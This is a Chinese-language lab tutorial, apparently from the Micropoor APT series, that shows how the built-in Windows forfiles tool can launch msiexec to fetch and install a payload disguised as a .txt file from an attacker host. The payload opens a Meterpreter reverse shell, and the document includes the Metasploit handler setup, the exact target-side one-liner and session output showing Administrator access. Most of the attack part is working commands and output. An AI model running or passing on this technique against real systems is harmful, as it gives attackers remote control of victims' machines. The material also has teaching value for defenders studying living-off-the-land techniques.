专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防肾结石，通风等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

Forfiles简介：

Forfiles为Windows默认安装的文件操作搜索工具之一，可根据日期，后缀名，修改日期为

条件。常与批处理配合使用。

微软官方文档：https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows- server-2012-R2-and-2012/cc753551(v=ws.11)

说明：Forfiles.exe所在路径已被系统添加PATH环境变量中，因此，Forfiles命令可识别，

需注意x86，x64位的Forfiles调用。

Windows 2003 默认位置：

C:\WINDOWS\system32\forfiles.exe

C:\WINDOWS\SysWOW64\forfiles.exe

Windows 7 默认位置：

C:\WINDOWS\system32\forfiles.exe

C:\WINDOWS\SysWOW64\forfiles.exe

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.119 Windows 2003

配置攻击机msf：

1 msf exploit(multi/handler) > show options 2

3 Module options (exploit/multi/handler): 4

5 Name Current Setting Required Description

6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 7

8

9 Payload options (windows/meterpreter/reverse\_tcp): 10

11 Name Current Setting Required Description

12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)

14 LHOST 192.168.1.4 yes The listen address (an interface may be specifi ed)

15 LPORT 53 yes The listen port 16

17

18 Exploit target: 19

20 Id Name

21 ‐‐ ‐‐‐‐

22 0 Wildcard Target 23

24

25 msf exploit(multi/handler) > exploit 26

27 [\*] Started reverse TCP handler on 192.168.1.4:53 28

靶机执行：Windows 2003

forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i http://192.168.1.4/Micropoor\_rev\_x86\_msi\_53.txt"

1 msf exploit(multi/handler) > exploit 2

3 [\*] Started reverse TCP handler on 192.168.1.4:53

4 [\*] Sending stage (179779 bytes) to 192.168.1.119

5 [\*] Meterpreter session 15 opened (192.168.1.4:53 ‐> 192.168.1.119:133

1) at 2019‐01‐20 06:34:08 ‐0500 6

7 meterpreter > getuid

8 Server username: WIN03X64\Administrator

9 meterpreter > getpid

10 Current pid: 392

11 meterpreter > 12

Micropoor